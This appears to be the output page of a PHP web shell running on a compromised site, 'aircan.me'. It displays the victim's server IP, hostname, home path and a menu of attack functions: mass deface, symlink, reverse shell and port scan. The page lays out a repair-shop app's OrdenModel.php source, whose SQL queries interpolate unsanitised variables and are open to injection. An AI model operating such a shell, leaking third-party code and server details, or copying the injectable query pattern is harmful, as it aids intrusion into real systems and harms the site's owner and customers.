Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacilfra
/
models
/
Viewing: OrdenModel.php
<?php class OrdenModel extends Query { public function __construct() { parent::__construct(); } public function getEmpresa($id) { $sql = "SELECT * FROM sucursales WHERE id = $id"; return $this->select($sql); } public function getMarcas($estado) { $sql = "SELECT * FROM marcas WHERE estado = $estado"; return $this->selectAll($sql); } public function getFormapagos($estado) { $sql = "SELECT * FROM formapagos WHERE estado = $estado"; return $this->selectAll($sql); } public function getIdentidades() { return $this->selectAll("SELECT * FROM identidades"); } public function getCaja($id_sucursal) { $idUsuario = isset($_SESSION['id_usuario']) ? (int)$_SESSION['id_usuario'] : 0; $filtroUsuario = empty($_SESSION['rol']) ? '' : " AND id_usuario = $idUsuario"; $idCajaActiva = isset($_SESSION['id_caja_activa']) ? (int)$_SESSION['id_caja_activa'] : 0; if ($idCajaActiva > 0) { $sql = "SELECT * FROM cajas WHERE estado = 1 AND id_sucursal = $id_sucursal AND id = $idCajaActiva" . $filtroUsuario . " ORDER BY id DESC"; $cajaActiva = $this->select($sql); if (!empty($cajaActiva)) { return $cajaActiva; } } $sql = "SELECT * FROM cajas WHERE estado = 1 AND id_sucursal = $id_sucursal" . $filtroUsuario . " ORDER BY id DESC"; return $this->select($sql); } public function getUltimoCorrelativo($id_sucursal) { $sql = "SELECT r.correlativo FROM reparaciones r INNER JOIN sucursales s ON s.id = r.id_sucursal WHERE s.id = $id_sucursal ORDER BY r.correlativo DESC LIMIT 1"; return $this->select($sql); } public function insertOrden( $correlativo, $aparato, $modelo, $imei, $color, $estetica, $fecha_ingreso, $hora_ingreso, $fecha_prometida, $problema, $observaciones, $solucion, $mano_obra, $anticipo, $clave, $pin, $id_usuario, $id_caja, $id_cliente, $id_marca, $id_sucursal ) { $sql = "INSERT INTO reparaciones (correlativo, aparato, modelo, imei, color, estetica, fecha_ingreso, hora_ingreso, fecha_prometida, problema, observaciones, solucion, mano_obra, anticipo, clave, pin, id_usuario, id_caja, id_cliente, id_marca, id_sucursal) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; $params = [ $correlativo, $aparato, $modelo, $imei, $color, $estetica, $fecha_ingreso, $hora_ingreso, $fecha_prometida, $problema, $observaciones, $solucion, $mano_obra, $anticipo, $clave, $pin, $id_usuario, $id_caja, $id_cliente, $id_marca, $id_sucursal ]; return $this->insertar($sql, $params); } public function updateOrden( $aparato, $modelo, $imei, $color, $estetica, $fecha_prometida, $problema, $observaciones, $solucion, $mano_obra, $anticipo, $clave, $pin, $id_usuario, $id_cliente, $id_marca, $idOrden ) { $sql = "UPDATE reparaciones SET aparato=?, modelo=?, imei=?, color=?, estetica=?, fecha_prometida=?, problema=?, observaciones=?, solucion=?, mano_obra=?, anticipo=?, clave=?, pin=?, id_usuario=?, id_cliente=?, id_marca=? WHERE id=?"; $params = [ $aparato, $modelo, $imei, $color, $estetica, $fecha_prometida, $problema, $observaciones, $solucion, $mano_obra, $anticipo, $clave, $pin, $id_usuario, $id_cliente, $id_marca, $idOrden ]; return $this->save($sql, $params); } public function deleteAbono($id) { $sql = "DELETE FROM abono_reparacion WHERE id = ?"; return $this->save($sql, [$id]); } public function insertAbonoModel($data) { $sql = "INSERT INTO abono_reparacion (fecha, descripcion, monto, id_caja, id_usuario, id_formapago, id_reparacion) VALUES (?,?,?,?,?,?,?)"; $params = [ $data['fecha'], $data['descripcion'], $data['monto'], $data['id_caja'], $data['id_usuario'], $data['id_formapago'], $data['id_reparacion'] ]; return $this->insertar($sql, $params); } public function getReparaciones($id_sucursal, $desde = null, $hasta = null) { $sql = "SELECT r.*, c.nombre AS cliente, m.marca FROM reparaciones r INNER JOIN clientes c ON r.id_cliente = c.id INNER JOIN marcas m ON r.id_marca = m.id WHERE r.id_sucursal = $id_sucursal"; if (!empty($desde)) { $sql .= " AND r.fecha_ingreso >= '$desde'"; } if (!empty($hasta)) { $sql .= " AND r.fecha_ingreso <= '$hasta'"; } $sql .= " ORDER BY r.id DESC"; return $this->selectAll($sql); } public function getReparacion($id) { $sql = "SELECT r.*, c.nombre AS cliente, c.telefono, c.direccion, m.marca FROM reparaciones r INNER JOIN clientes c ON r.id_cliente = c.id INNER JOIN marcas m ON r.id_marca = m.id WHERE r.id = $id"; return $this->select($sql); } public function getDetalleReparacion($id) { $sql = "SELECT * FROM detalle_reparacion WHERE id_reparacion = $id"; return $this->selectAll($sql); } public function getAbonoReparacion($id) { $sql = "SELECT * FROM abono_reparacion WHERE descripcion = 'Anticipo' AND id_reparacion = $id"; return $this->select($sql); } public function getMontoAbonoOrden($id) { $sql = "SELECT SUM(monto) AS monto FROM abono_reparacion WHERE id_reparacion = $id"; return $this->select($sql); } public function getAbonosOrden($id) { $sql = "SELECT a.*, f.formapago FROM abono_reparacion a LEFT JOIN formapagos f ON a.id_formapago = f.id WHERE a.id_reparacion = $id"; return $this->selectAll($sql); } public function getProducto($idProducto) { $sql = "SELECT p.*, m.marca FROM productos p INNER JOIN marcas m ON p.id_marca = m.id WHERE p.id = $idProducto"; return $this->select($sql); } public function eliminarDetalle($id_reparacion) { $sql = "DELETE FROM detalle_reparacion WHERE id_reparacion = ?"; return $this->save($sql, [$id_reparacion]); } public function deleteAbonoAnterior($id_reparacion) { $sql = "DELETE FROM abono_reparacion WHERE descripcion = 'Anticipo' AND id_reparacion = ?"; return $this->save($sql, [$id_reparacion]); } public function registrarProductos($producto_id, $producto, $precio, $cantidad, $id_reparacion) { $sql = "INSERT INTO detalle_reparacion (id_reparacion, id_producto, producto, precio, cantidad) VALUES (?, ?, ?, ?, ?)"; $params = [$id_reparacion, $producto_id, $producto, $precio, $cantidad]; return $this->insertar($sql, $params); } // Insertar un abono public function insertAbono($data) { $sql = "INSERT INTO abono_reparacion (fecha, monto, id_formapago, descripcion, id_caja, id_usuario, id_reparacion) VALUES (?, ?, ?, ?, ?, ?, ?)"; $params = [ $data['fecha'], $data['monto'], $data['id_formapago'], $data['descripcion'], $data['id_caja'], $data['id_usuario'], $data['id_reparacion'] ]; return $this->insertar($sql, $params); } // Actualizar estado de la reparación public function updateEstadoReparacion($id, $estado) { $sql = "UPDATE reparaciones SET estado = ? WHERE id = ?"; $params = [$estado, $id]; return $this->save($sql, $params); } }
Coded With 💗 by
0x6ick